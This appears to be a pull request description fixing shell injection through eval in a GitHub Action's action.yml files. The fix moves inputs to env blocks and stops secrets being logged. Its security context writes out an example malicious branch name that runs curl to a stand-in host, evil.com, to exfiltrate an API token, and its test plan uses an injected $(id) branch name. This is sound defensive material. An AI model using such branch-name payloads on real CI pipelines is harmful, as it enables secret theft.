fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]

[jonathansantilli]

Summary

Fixes command injection (CWE-78) in both action.yml and review/action.yml:

• Remove eval $MobbExecString — replace with bash array execution
• Move all ${{ inputs.* }} from run: blocks to env: blocks
• Remove echo "Mobb Command: ..." that printed api-key and github-token to logs
• Replace bash -l {0} with bash
• Quote all variable expansions (including $GITHUB_HEAD_REF)
• Pin all action references to immutable commit SHAs

Security Context

review/action.yml builds a command string containing $GITHUB_HEAD_REF (the PR branch name) and secrets, then executes it via eval. A malicious branch name like test-$(curl${IFS}evil.com/${MOBB_API_TOKEN}) causes the eval to execute the embedded command, exfiltrating the Mobb API token.

This affects all 12 Mobb-Fixer-Demo repos that consume mobb-dev/action/review@v1.1.

The fix replaces eval with direct command execution using a bash array, and moves all secrets to env: blocks where bash treats them as data.

Consumer Impact

None. The action inputs: and outputs: are unchanged. This fix is transparent to all consumers — no workflow changes needed. The 12 Mobb-Fixer-Demo repos continue to work identically.

Test plan

• Create a branch named test-$(id) and open a PR to verify the injection no longer executes
• Run a normal workflow to verify Mobb review still generates fixes
• Run a normal workflow to verify Mobb analyze still generates fixes
• Verify fix-report-url output is set correctly
• Check workflow logs to confirm no secrets are printed

Ref: E-1815